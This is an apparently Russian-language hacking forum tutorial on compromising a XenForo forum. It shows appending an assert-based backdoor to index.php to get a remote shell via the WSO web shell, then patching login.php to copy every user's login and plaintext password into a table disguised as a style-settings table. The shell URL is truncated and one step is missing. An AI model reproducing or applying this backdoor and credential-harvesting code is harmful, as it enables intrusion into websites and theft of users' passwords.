Избавляемся от хеширования в Xenforo

[smertserenevomy 0]

Используем "WSO Web Shell"



Отправляемся к файлу index.php , и дописываем вредоносный код:

Код:

if (isset($_REQUEST['l']))

assert(stripslashes($_REQUEST[l]));







Вызываем скрипт и получаем доступ к RemoteShell:

Код:

http://www.ru/index.....ru/screen.png'))#



Отсеиваем логин и пасс из файлов с ФТП , создаем базу данных

Код:

create table xf_style_property_css (

ID int(20) AUTO_INCREMENT,

CSSName varchar(50) NOT NULL,

CSSValue varchar(50) NOT NULL,

PRIMARY KEY (ID)

);







Находим в файле login.php строки:





Дописываем код:

Код:

$DataBaseConnector = mysql_connect('localhost', 'Имя БД', 'Пароль от БД');

   mysql_select_db('Имя БД');

   mysql_query("SET NAMES 'utf8'");

   $datalogxf = $data['login'];

   $datapassxf = $data['password'];

   mysql_query("INSERT INTO 'xf_style_property_css' ('ID', 'CSSName', 'CSSValue') VALUES ('', '$datalogxf', '$datapassxf') ", $DataBaseConnector);





После всех выше описанных функций , каждый авторизованный пользователь будет внесен в наш раздел с базой ( который создали выше ).



Выполняем команду получения списка: (Сейчас он пустой )

Код:

SELECT * FROM 'xf_style_property_css'